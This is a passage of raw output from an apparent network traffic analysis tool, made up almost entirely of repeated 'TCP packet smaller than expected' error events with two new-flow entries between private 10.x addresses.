smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....18] [ip4][..tcp] [.......10.0.0.2][.9566] -> [.....10.128.0.2][18498] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....19] [ip4][..tcp] [.......10.0.0.2][11892] -> [.....10.128.0.2][26470] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet 